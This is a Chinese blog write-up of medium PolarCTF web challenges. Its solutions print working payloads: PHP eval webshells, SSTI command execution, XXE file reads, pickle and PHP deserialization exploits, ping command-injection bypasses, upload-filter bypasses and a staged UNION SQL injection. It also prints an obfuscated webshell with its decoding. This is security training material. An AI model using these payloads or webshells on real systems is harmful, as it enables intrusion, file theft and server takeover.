Web刷题之PolarDN(中等)
1.到底给不给flag呢
代码审计

一道典型的php变量覆盖漏洞
相关知识
什么是变量覆盖漏洞
自定义的参数值替换原有变量值的情况称为变量覆盖漏洞
经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。
$$导致的变量覆盖问题
1.$$介绍
$$这种写法称为可变变量
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
<?php
$a = "hello"; // 将变量 $a 赋值为 "hello"
echo "$a"; // 输出: hello$a = "world"; // 将变量 $a 改为 "world"
echo "$a"; // 输出: worldecho "$$a"; // 这里是变量变量语法。$$a 相当于 $world,意思是输出变量 $world 的值。
echo "$a ${$a}"; // 这是另一个变量变量的例子。${$a} 是通过 $a 的值作为变量名来获取变量的值。这里 $a 的值是 "world",所以 ${$a} 等同于 ${"world"},也就是输出变量 $world 的值(即 world)。echo "$a $hello"; // 这里会输出 $a 的值(即 world),然后会尝试输出 $hello 变量的值。如果 $hello 变量未定义,则会输出空字符串。
?>
2.漏洞产生
使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
举例
<?php
foreach ($_GET as $key => $value) {
${$key} = $value;
}
echo $a;
?>
get得到的数据$key和$value,关键第3行,${$key}用get传进来的$key做为新的变量,将get传进来的$value赋值给它。
get ?a=1 第3行回解析为$a=1。就造成了变量覆盖。
解题
需要get一个flag和post一个flag。因为isset那里面是&&连接,所有post是不用传参的。所以直接get传参一个flag。
先a=flag然后让flag=a。这样被解析之后,就是$a=$flag&$flag=$a。从而达到真正输出flag的作用。而不会用一个变量a把$flag=flag{xxxxxx}给覆盖。那么最后echo出来的就是$flag。
payload:
?a=flag&flag=a

flag{7c21614802acfb30b55697b3f5122be1}
2.写shell

我们应该需要在filename这里面写入一个content以达到获取flag的效果。那么这就应该写入一句话木马,那么前面的exit()该如何越过成了问题。我去看了wp,发现可以使用base64解密的方式进行绕过。那么就将命令加密,并且前面加上任意一个字母进行分隔,payload:
?filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD89QGV2YWwoJF9QT1NUWzFdKTs/Pg==

其中base64加密的内容:<?=@eval($_POST[1]);?>
然后访问/shell.php发现木马被读入,我们用蚁剑连接一下:
flag{30c42ede8bc4b32e2ae125afaeebee6f}
3.注入


进题点一下User的选项然后抓包,发现了id=1的注入点。但是尝试了好久发现sql注入和ssti注入都是不行的。看了wp才知道是XPATH注入:
尝试一下XPATH注入万能钥匙,payload:
?id=']|//*|//*['

flag{6c6bb83d87d0fcc3cacb9ca45bc37599}
4.某函数的复仇
由于怎么也想不到是哪个函数,我们直接去看了wp。发现是create_function()这个函数。他会直接执行这个创建的新函数。不过它需要一个闭合和一个注释。所以我们构造payload:
?root=;}system('ca\t /f*');/*
shaw=create_function
;}:闭合create_function生成的匿名函数体。//:注释后续可能的闭合字符,这里相当于把原本的}符号给注释掉,这样我们就执行了system('cat /flag')函数

flag{10be676ceed9b00b1c286de949790c37}
5.xxe
进题只有一个phpinfo的界面,尝试更改c参数但是没用。然后去看了眼wp,发现可以通过phpinfo查看版本,找到是xxe漏洞。用dirsearch扫一下目录,找到了/dom.php,进入访问:

然后就找到了报错信息,去找了一下xxe漏洞的攻击方式,然后根据wp构造payload:
<?xml version = "1.0" encoding="utf-8"?><!DOCTYPE xxe [
<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<name>&xxe;</name>
bp中需要将GET修改为POST方法,然后加上媒体类型信息:Content-Type: application/x-www-form-urlencoded,最后末尾添加需上传语句。
将得到的一串base64编码字符串解码

flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e}
6.SSTI


测出SSTI ,参考网上的payload试了一下
payload:
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}


flag{74da457f9884bef24f271e377334399a}
SSTI常用payload:
1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x
7.unpickle

题目直接给出源码。
import pickle
import base64
from flask import Flask, requestapp = Flask(__name__)@app.route("/")
def index():try:user = base64.b64decode(request.cookies.get('user'))user = pickle.loads(user)return userexcept:username = "Guest"return "Hello %s" % usernameif __name__ == "__main__":app.run(host="0.0.0.0", port=8080)
代码很明显,需要通过Cookie的user值进行接收传递并进行反序列化。
存在python的反序列化函数,可以用到__reduce__这个魔法方法(注意__reduce__方法是新式类(内置类)特有的)这一点和PHP中的__wakeup() 魔术方法类似,都是每当反序列化过程开始或者结束时 , 都会自动调用这个魔术方法,因此利用这个魔术方法执行任意命令获取flag。
构造POC:
import requests
import os
import pickle
import base64class exp:def __reduce__(self):return (eval,("open('/flag','r').read()",))a = exp()
payload = base64.b64encode(pickle.dumps(a))
print(base64.b64decode(payload))
print(payload)

然后得到的base64直接传参:
flag{1cd20c1dbbed0fc7ab481b44006d469f}
8.BlackMagic
进题可以访问一个子域名,我们直接进去访问。


查看网页源代码看到了真正的源码

需要我们输入一个$strTmp,GET和POST传参都可以
$strContent这个变量等于trim($strFlag,$strCharList)
删除空白字符串 trim(), ltrim(), rtrim() 分别用来删除 字符串首尾,字符串开头,字符串结尾的空白符。
trim(),ltrim(),rtrim()函数默认删除的字符:
符号 ASCII码 意义
“ ” 0x20 空格
“\t” 0x09 制表符
"\n" 0X0A 换行符
"\r" 0x0D 回车符
"\0" 0x00 空字符
"\x0B" 0x0B 纵向制表符//可以使用带参数的trim()函数来删除开头或结尾的空白而不删除制表符 $record = " Fred\tFlintstone\t35\tWilma\t \n"; $record = trim($record, " \r\n\0\x0B"); //此时record 值为:"Fred\tFlintstone\t35\tWilma\t"
那这里$strContent的值就是$strFlag变量删除\r回车符、\n换行符、\0空字符、\x0B纵向制表符之后的值:
%09xxxxx...xxxxx%09
我们输入payload:
?strTmp=%09xxxxx...xxxxx%09

flag{ab8aff2d0104e4f883a57880b260b761}
9.反序列化

看别人的wp都是ls页面直接回显flag,但我这不知道为什么不行,最后只有tac绝对路径和一句话木马连接蚁剑才能获得flag
exp:
<?phpclass example{public $handle;
}
class process{public $pid;
}$a = new example();
$b = new process();
$b -> pid = "system('tac /var/www/html/flag.php');";
$a -> handle =$b;
echo serialize($a);?>
O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('tac /var/www/html/flag.php');";}}

<?php
class example
{public $handle;function __construct(){$this->handle=new process();//实现第一个需求}
}
class process{public $pid;function __construct(){$this->pid='@eval($_POST["123"]);';//实现第二个需求}
}
$test=new example();
echo serialize($test);//输出序列化并当成data的值输入
?>
O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:21:"@eval($_POST["123"]);";}}

10. 找找shell
dirsearch扫描到一个目录shell.php

shell.txt:
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));?>
其中的几个变量定义如下,我们将其一个一个输出看看都是什么效果。四个变量从上到下依次是:
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");url解码结果为:
$O00OO0=n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; $OO0000=$O00OO0{7}.$O00OO0{13}; $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};这几个变量分别对应
$O00O0O = base $O0OO00 = strtr $OO0O00 = substr $OO0000 = 52 $O00O0O. = 64_decode拼接后的$O00O0O=base64_decode
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));将上面几个变量的值代入
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.base64_decode($strtr($substr($O0O000,104),$substr($O0O000,52,52),$substr($O0O000,0,52))));
substr() 可以「截取」字符串。
语法
string substr( $str, start, length);参数
- $str :被截取的字符串。
- start :开始截取的位置。
- length :截取的长度。
strtr — 转换字符或替换字串
语法
strtr(string $string, string $from, string $to): string参数
string:待转换的 string。from:要转成to的 string。to:替换from的 string。
写个脚本:
<?php
$O0O000 = "bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";// 拆分字符串
$part3 = substr($O0O000, 104); // 后52字符
$part2 = substr($O0O000, 52, 52); // 中52字符
$part1 = substr($O0O000, 0, 52); // 前52字符// 字符替换
$replaced_str = strtr($part3, $part2, $part1);// Base64解码
$decoded = base64_decode($replaced_str);// 输出解码内容
echo "替换后的Base64字符串: " . $replaced_str . "\n";
echo "解码结果:\n" . $decoded . "\n";
?>
替换后的Base64字符串:PD9waHAgQGV2YWwoJF9QT1NUWyd1c2FtJ10pOyA/Pg==
解码结果:<?php @eval($_POST['usam']); ?>
我们直接拿去蚁剑连接之前扫到的/shell.php目录

flag{2591c98b70119fe624898b1e424b5e91}
11.再来ping一波啊
进题是一个要ping的文本框:

尝试了好多payload,手测需要的函数过滤了:ls、cat、tac、空格、index。那么我们用引号绕过或者反斜杠绕过。
由于当前目录只有index.php,我们尝试读取根目录,发现"/"也被过滤了。那我们先读取index.php吧。用变量拼接绕过,payload:
127.0.0.1;a=inde;b=x.php;ca\t$IFS$a$b

查看源代码发现直接给出了flag
flag{ae5eb824ef87499f644c3f11a7176157}
12.wu

很正常不过滤什么符号的无数字无字母rce:
什么符号都没有过滤,那么我们用异或、取反、自增都是可以的,这里用的是取反:
<?php $a=urlencode(~'system'); $b=urlencode(~'ls'); echo $a; echo "</br>";echo $b; ?>输出:%8C%86%8C%8B%9A%92</br>%93%8C?a=(~%8C%86%8C%8B%9A%92)(~93%8C);
<?php $a=urlencode(~'system'); $b=urlencode(~'cat zheshiflag.php'); echo $a; echo "</br>";echo $b; ?>输出:%8C%86%8C%8B%9A%92</br>%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8Fpayload:?a=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F);
13.代码审计1
本题考察的是php原生类的寻找和利用,详情可见coleak师傅博客:CTF中常用的php原生类总结_ctf php代码-CSDN博客

源码中echo new $sys($xsx)可以看出是原生类的利用。我们发现这题是读取文件,所以用的是类SplFileObject,然后由于第一个if时xsx并没有赋值,所以第一个if是没用的。
这里我们先用Directorylterator类输出指定目录里面经过排序之后的第一个文件名。
?sys=DirectoryIterator&xsx=glob://f*

?sys=SplFileObject&xsx=flag.php
这个payload没读出来
SplFileObject类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容
?sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php


flag{289dff07669d7a23de0ef88d2f7129e7}
14.你的马呢?

无法上传php脚本

方法1:
发现它上传后缀之后,会说“后缀”恭喜你。那么考虑Apache双后缀绕过检测,payload:
一句话木马后缀名改为.php.jpg
一句话木马
GIF89a
<?=
@eval($_REQUEST[777]);
?>


方法2: (wp给的解法)
1.对一句话木马进行base64编码;

2.将php后缀改成jpg文件;
3.上传木马文件;

4.连接webshell,用php伪协议convert.base64-decode解码;
/index.php?file=php://filter/convert.base64-decode/resource=uploads/1.jpg
5.找出flag;

15.ezphp

看到爬虫直接访问robots.txt目录
存在三个目录,我们一个一个访问


file目录下存在一个file.php文件,根据给出的源码可知此处存在文件包含漏洞

uploads目录下存在/images目录和uploads.php页面

打开upload.php发现可以上传文件,结合刚才file.php中的文件上传漏洞,可以实现RCE
方法1:
利用upload.php上传后缀为合法后缀的一句话木马,内容如下:
GIF89a
<?=eval($_REQUEST[777]);?>


进入uploads/images查看
经测试web目录路径为:/var/www/ 利用文件包含连接一句话木马
URL:
http://89f4e5b1-bcd6-4306-89a3-6387e8d866bc.www.polarctf.com:8090/file/file.php?filename=/var/www/uploads/images/yjh.jpg
在/home/webuser找到flag
方法2:
利用Apache双后缀绕过检测
漏洞原理
多后缀名解析漏洞,常见于某些操作系统或网络服务中的文件扩展名处理机制,这种漏洞的本质在于,当文件具有多个后缀名(例如file.txt.php)时,系统或服务可能会错误地解析文件,具体到Apache服务器,它会从右到左解析文件后缀,当遇到不可识别的后缀继续向左解析,直到碰到可识别的后缀为止。
攻击场景复现
在Apache HTTPD中,攻击者可能利用此漏洞绕过上传文件后缀检测,通过上传名为xxx.php.jpg的文件,尽管文件看起来是一个图片文件,但在特定配置下,Apache会将其解析为PHP文件,从而允许攻击者执行恶意代码。
一句话木马后缀名改为.php.jpg然后直接上传


flag{a6e667c3194c7a60f7491d4c7e5b1161}
16.随机值

要满足两个随机值,可以暴力爆破,发包10000次应该够了。我们按题目预期来,使用变量引用来做这题。
EXP:
<?phpclass Index{public $Polar1;public $Polar2;public $Night;public $Light;function getflag($flag){$Polar2 = rand(0,100);if($this->Polar1 === $this->Polar2){$Light = rand(0,100);if($this->Night === $this->Light){echo $flag;}}else{echo "Your wrong!!!";}}
} $a= new Index();
$a->Polar1=$a->Polar2;
$a->Night=$a->Light;
echo serialize($a);?>
?sys=O:5:"Index":4:{s:6:"Polar1";N;s:6:"Polar2";N;s:5:"Night";N;s:5:"Light";N;}

flag{d81f9c1be2e08964bf9f24b15f0e4900}
17.phpurl


aW5kZXgucGhwcwbase64解码后是index.phps
访问/index.phps路由。直接给了源码
由于浏览器会进行一次url解码,所以如果想要服务器端进行一次url解码,则必须对xxs进行两次url编码。
注意点:/index.phps只是源码泄露,传参在/路径。
flag{5caecd63b7dca4bcee15d262eb3af4f4}
18.search
该题需要读入用户输入的ID信息。

输入的ID值不同,回显的内容也各不相同。

猜测该题是从数据库中查询的数据,故该题考查的应该是sql注入知识。
测试sql注入

发现该题对一些关键字进行了过滤。尝试通过大小写混合的方式进行绕过

经过测试发现,该题还过滤了空格。利用/**/进行绕过。

成功绕过,这次报错的原因是因为字段数量不匹配。

成功回显。
payload:
1'order/**/by/**/6# /*出现报错,说明共有5列*/
1'/**/uNion/**/sEleCt/**/1,2,3,4,5# /*联合注入判断回显的位置*/
1'/**/uNion/**/sEleCt/**/1,database(),version(),4,5# /*获取库名和版本号,库名为CTF,版本号为5.5.44-0ubuntu0.14.04.1-log*/
1'/**/uNion/**/sEleCt/**/1,group_concat(table_name),3,4,5/**/From/**/information_schema.tables/**/Where/**/table_schema='CTF'# /*获取表名分别为Flag和Students*/
1'/**/uNion/**/sEleCt/**/1,group_concat(column_name),3,4,5/**/From/**/information_schema.columns/**/Where/**/table_schema='CTF'/**/and/**/table_name='Flag'# /*获取字段名为Flag*/
1'/**/uNion/**/sEleCt/**/1,group_concat(Flag),3,4,5/**/From/**/Flag# /*读取字段内容*/

相关文章:
Web刷题之PolarDN(中等)
1.到底给不给flag呢 代码审计 一道典型的php变量覆盖漏洞 相关知识 什么是变量覆盖漏洞 自定义的参数值替换原有变量值的情况称为变量覆盖漏洞 经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当&…...
Https通信中证书验证流程
在 HTTPS 通信中,客户端验证服务器证书的有效性是确保通信安全的重要步骤。这一过程通常被称为 证书链验证 或 SSL/TLS 证书验证。以下是详细的流程和实现细节: 1. 证书验证的整体流程 客户端验证服务器证书的有效性主要包括以下几个步骤: …...
学习笔记-250222
论文: Learning Hierarchical Prompt with Structured Linguistic Knowledge for Vision-Language Models 主要研究llm在图像分类中的能力,当提示输入目标类别时,llm能够生成相关的描述以及相应的结构化关系。 1.首先利用llm从普通的描述中获…...
Unity游戏制作中的C#基础(1)界面操作基础
1.脚本有关注意事项 (1).进入项目之后,一般创建一个文件夹Scripts用来存放c#脚本; (2).在Scripts中创建脚本,双击脚本,进入VS编辑器,有如下结构: start&#…...
为什么要将PDF转换为CSV?CSV是Excel吗?
在企业和数据管理的日常工作中,PDF文件和CSV文件承担着各自的任务。PDF通常用于传输和展示静态的文档,而CSV因其简洁、易操作的特性,广泛应用于数据存储和交换。如果需要从PDF中提取、分析或处理数据,转换为CSV格式可能是一个高效…...
Android KMP初探
Android KMP初探 前言: 最近线上听了Kotlin官网举行的KMP会议,感觉听神奇的,于是就把官方demo下载下来尝试了一下,下载插件和所需要的依赖都用了很久,但是发现里面的代码很少,于是尝试自己手写了一下&…...
网络安全之Web后端PHP
目录 一、PHP基础语法 1.PHP基础 (1)php的优点 (2)PhpStorm的优点 2.PHP基本语法 3.PHP变量 4.PHP运算符 二、PHP流控与数组 1.php流程控制语句以及循环 (1)if 语句 (2)if…...
Redis——用户签到BitMap,UV统计
目录 BitMap 使用场景 1. 用户签到系统 2. 用户行为标记 3. 布隆过滤器(Bloom Filter) BitMap介绍 Redis中的使用 Redis功能示例 添加: 获取: 批量获取: java中实现 统计本月连续签到次数 UV统计 UV 统计…...
pycharm技巧--鼠标滚轮放大或缩小 Pycharm 字体大小
1、鼠标滚轮调整字体 设置 Ctrl 鼠标滚轮调整字体大小 备注: 第一个是活动窗口,即缩放当前窗口 第二个是所有编辑器窗口,即缩放所有窗口的字体 2、插件 汉化包: Chinese Simplified 包...
数字信任的底层逻辑:密码学核心技术与现实应用
安全和密码学 --The Missing Semester of Your CS Education 目录 熵与密码强度密码散列函数密钥体系 3.1 对称加密 3.2 非对称加密信任模型对比典型应用案例安全实践建议扩展练习杂项 密码学是构建数字信任的基石。 本文浅析密码学在现实工具中的应用,涵盖 1&…...
全面理解-深拷贝与浅拷贝
在 C 中,深拷贝(Deep Copy) 和 浅拷贝(Shallow Copy) 是两种完全不同的对象拷贝策略,主要区别在于对指针和动态分配资源的处理方式。正确理解二者的区别是避免内存泄漏、悬空指针和程序崩溃的关键。 一、核…...
Redis分布式锁故障处理:当Redis不可用时的应对策略
Redis分布式锁故障处理:当Redis不可用时的应对策略 在分布式系统中,Redis因其高性能和丰富的特性常被用于实现分布式锁。但当加锁过程中Redis服务不可用时,系统将面临严重挑战。本文将深入探讨这一问题,并提供多维度解决方案。 目…...
WordPress平台如何接入Deepseek,有效提升网站流量
深夜改代码到崩溃?《2024全球CMS生态报告》揭露:78%的WordPress站长因API对接复杂,错失AI内容红利。本文实测「零代码接入Deepseek」的保姆级方案,配合147SEO的智能发布系统,让你用3个步骤实现日均50篇EEAT合规内容自动…...
ROS ur10机械臂添加140夹爪全流程记录
ROS ur10机械臂添加140夹爪 系统版本:Ubuntu20.04 Ros版本:noetic Moveit版本:moveit-noetic 参考博客: ur3robotiq ft sensorrobotiq 2f 140配置rviz仿真环境_有末端力传感器的仿真环境-CSDN博客 UR5机械臂仿真实例…...
16、Python面试题解析:python中的浅拷贝和深拷贝
在 Python 中,浅拷贝(Shallow Copy) 和 深拷贝(Deep Copy) 是处理对象复制的两种重要机制,它们的区别主要体现在对嵌套对象的处理方式上。以下是详细解析: 1. 浅拷贝(Shallow Copy&a…...
第十九天 HarmonyOS的文件操作和本地存储
一、前言:为什么需要掌握文件操作与本地存储? 在移动应用开发中,文件操作和本地存储是每个开发者都必须掌握的核心技能。无论是保存用户配置、缓存网络数据,还是处理图片/视频等多媒体文件,都需要通过文件系统进行操作…...
VLM(视觉语言模型)与DeepSeek R1(奖励机制)如何结合
VLM(视觉语言模型)与DeepSeek R1(奖励机制)如何结合 flyfish VLM的传统训练依赖于监督学习(直接拟合问答对),而规则奖励函数通常用于强化学习(通过试错和奖励反馈优化策略…...
FFMPEG编码容错处理解决办法之途径----升级库文件
在qt开发环境下接收网络数据,调用ffmpeg解码播放视频,出现闪屏现象,具体现象可以使用操作系统自带的ffplay播放器播放原始视频流可复现;而使用操作系统自带的mpv播放器播放视频则不会出现闪屏;闪屏时会报Could not fin…...
uniapp h5端和app端 使用 turn.js
前提:添加页后,添加页与当前页会重叠在一起,不知道为什么,没有找到解决办法 1.h5端 <template><view class"container"><view id"flipbook"><view class"page page1">Page 1</view><view class"page pag…...
【idea问题排查技巧】
以下是针对 IDEA 中 日志打标(动态标记) 和 全链路追踪 功能的分步详解,结合具体场景和操作截图说明,帮助快速掌握实战技巧。 一、动态日志打标:不修改代码输出关键信息 1. 断点日志打印(非侵入式打标) 场景:在调试时,需要临时查看某个变量的值,但不想修改代码添加…...
【入门音视频】音视频基础知识
🌈前言🌈 这个系列在我学习过程中,对音视频知识归纳总结的笔记。因为音视频相关讲解非常稀少,所以我希望通过这个音视频系列,跟大家一起学习音视频,希望减少初学者在学习上的压力。同时希望也欢迎指出文章的…...
JMeter性能问题
性能测试中TPS上不去的几种原因 性能测试中TPS上不去的几种原因_tps一直上不去-CSDN博客 网络带宽 连接池 垃圾回收机制 压测脚本 通信连接机制 数据库配置 硬件资源 压测机 业务逻辑 系统架构 CPU过高什么原因 性能问题分析-CPU偏高 - 西瓜汁拌面 - 博客园 US C…...
软考高级信息系统项目管理师笔记-第2章信息技术发展
第2章 信息技术发展 2.1 信息技术及其发展 1、按表现形态的不同,信息技术可分为硬技术(物化技术)与软技术(非物化技术)。前者指各种信息设备及其功 能,如传感器、服务器、智能手机、通信卫星、笔记本电脑。后者指有关信息获取与处理的各种知识、方法 与技能,如语言文字…...
大语言模型(LLM)提示词(Prompt)高阶撰写指南
——结构化思维与工程化实践 一、LLM提示词设计的核心逻辑 1. 本质认知 LLM是「超强模式识别器概率生成器」,提示词的本质是构建数据分布约束,通过语义信号引导模型激活特定知识路径。优秀提示词需实现: 精准性:消除歧义&#…...
捷 C++ 课程学习笔记:STL 应用与复杂度分析
一、STL 六大组件 STL(Standard Template Library)是 C 标准库的重要组成部分,提供了通用的模板类和函数,用于实现常用的数据结构和算法。STL 主要包括以下六大组件: 容器(Containers)…...
【python】提取word\pdf格式内容到txt文件
一、使用pdfminer提取 import os import re from pdfminer.high_level import extract_text import docx2txt import jiebadef read_pdf(file_path):"""读取 PDF 文件内容:param file_path: PDF 文件路径:return: 文件内容文本"""try:text ext…...
数据结构☞泛型
一.基础定义与应用方向 1.定义: 一般的类和方法,只能使用具体的类型 : 要么是基本类型,要么是自定义的类。如果要编写可以 应用于多种类型 的代码,这种刻板的限制对代码的束缚就会很大。----- 来源《 Java 编程思想》对泛型的介…...
MFC学习笔记-1
一、编辑框和按钮 //.h文件private:CString str;//给窗口类加了一个变量(定义一个成员变量),关联到IDC_EDIT1中(要在实现中关联,源文件文件夹中)CString str2;//接收button2,和IDC_EDIT2绑定 p…...
html中rel、href、src、url的区别
1.url url(统一资源定位符):是对可以从互联网上得到的资源的位置和访问方法的一种简洁的表示,是互联网上标准资源的地址。 2.href href:Hypertext Reference的缩写。 意思是超文本引用。 3.rel rel:relatio…...
hot100-二叉树
二叉树 二叉树递归 相当于这个的顺序来回调换 class Solution {private List<Integer> res new ArrayList<>();public List<Integer> inorderTraversal(TreeNode root) {if(root null)return res;inorderTraversal(root.left);res.add(root.val);inorde…...



